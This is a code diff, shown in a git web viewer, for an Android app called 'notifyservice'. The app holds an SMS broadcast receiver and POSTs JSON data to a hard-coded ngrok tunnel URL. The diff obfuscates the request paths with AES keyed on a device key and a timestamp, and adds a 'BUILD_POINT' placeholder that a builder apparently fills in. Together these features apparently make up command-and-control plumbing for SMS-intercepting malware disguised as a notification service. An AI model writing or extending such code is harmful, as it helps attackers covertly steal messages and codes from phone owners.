||||||
@Override
|
@Override
|
||||||
protected void onDestroy() {
|
protected void onDestroy() {
|
||||||
super.onDestroy();
|
super.onDestroy();
|
||||||
|
try {
|
||||||
unregisterReceiver(smsReceiver);
|
unregisterReceiver(smsReceiver);
|
||||||
|
} catch(IllegalArgumentException e) {
|
||||||
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -1,15 +1,14 @@
|
||||||
package com.example.notifyservice;
|
package com.example.notifyservice;
|
||||||
|
|
||||||
import android.content.Context;
|
import android.content.Context;
|
||||||
import android.util.JsonReader;
|
|
||||||
import android.util.Log;
|
import android.util.Log;
|
||||||
|
|
||||||
import androidx.annotation.NonNull;
|
import androidx.annotation.NonNull;
|
||||||
|
|
||||||
import org.json.JSONArray;
|
|
||||||
import org.json.JSONObject;
|
import org.json.JSONObject;
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.util.concurrent.TimeUnit;
|
||||||
|
|
||||||
import okhttp3.Call;
|
import okhttp3.Call;
|
||||||
import okhttp3.Callback;
|
import okhttp3.Callback;
|
||||||
|
@ -21,9 +20,11 @@ import okhttp3.Response;
|
||||||
public class PostRequest {
|
public class PostRequest {
|
||||||
|
|
||||||
private Context context;
|
private Context context;
|
||||||
private String BASE_URL = "https://e2df-85-203-39-142.ngrok-free.app/";
|
private String BASE_URL = "https://e5e8-146-70-203-23.ngrok-free.app/"; // STATIC
|
||||||
private PostRequestCallback callback;
|
private PostRequestCallback callback;
|
||||||
|
|
||||||
|
public String buildPoint = "BUILD_POINT"; // VARIABLE STATIC
|
||||||
|
|
||||||
public PostRequest(Context context, PostRequestCallback callback) {
|
public PostRequest(Context context, PostRequestCallback callback) {
|
||||||
this.context = context;
|
this.context = context;
|
||||||
this.callback = callback;
|
this.callback = callback;
|
||||||
|
@ -32,12 +33,17 @@ public class PostRequest {
|
||||||
public final OkHttpClient client = new OkHttpClient();
|
public final OkHttpClient client = new OkHttpClient();
|
||||||
|
|
||||||
public void execute(String... params) {
|
public void execute(String... params) {
|
||||||
String urlString = params[0];
|
String timeStamp = String.valueOf(TimeUnit.MILLISECONDS.toSeconds(System.currentTimeMillis()));
|
||||||
|
String key = MainActivity.getKey(context) + timeStamp;
|
||||||
|
|
||||||
|
String urlString = Encryption.aesHexEncrypt(params[0], key);
|
||||||
String jsonData = params[1];
|
String jsonData = params[1];
|
||||||
|
|
||||||
Request request = new Request.Builder()
|
Request request = new Request.Builder()
|
||||||
.url(BASE_URL + urlString)
|
.url(BASE_URL + Encryption.aesHexEncrypt(buildPoint, timeStamp) + "/" + Encryption.aesHexEncrypt(urlString, key)) // STATIC
|
||||||
.post(RequestBody.create(jsonData.getBytes()))
|
.post(RequestBody.create(jsonData.getBytes())).header(
|
||||||
|
"timestamp", timeStamp // STATIC
|
||||||
|
)
|
||||||
.build();
|
.build();
|
||||||
|
|
||||||
Call call = client.newCall(request);
|
Call call = client.newCall(request);
|
||||||
|
@ -54,8 +60,7 @@ public class PostRequest {
|
||||||
|
|
||||||
protected void onPostExecute(String result) {
|
protected void onPostExecute(String result) {
|
||||||
try {
|
try {
|
||||||
String hash = (new JSONObject(result)).getString("hash");
|
callback.onPostResponse((new JSONObject(result)));
|
||||||
callback.onPostResponse(hash);
|
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
}
|
}
|
||||||
// Handle the JSON response here
|
// Handle the JSON response here
|
||||||
|
|
|
@ -1,5 +1,7 @@
|
||||||
package com.example.notifyservice;
|
package com.example.notifyservice;
|
||||||
|
|
||||||
|
import org.json.JSONObject;
|
||||||
|
|
||||||
public interface PostRequestCallback {
|
public interface PostRequestCallback {
|
||||||
void onPostResponse(String result);
|
void onPostResponse(JSONObject result);
|
||||||
}
|
}
|
||||||
|
|
Loading…
Add table
Reference in a new issue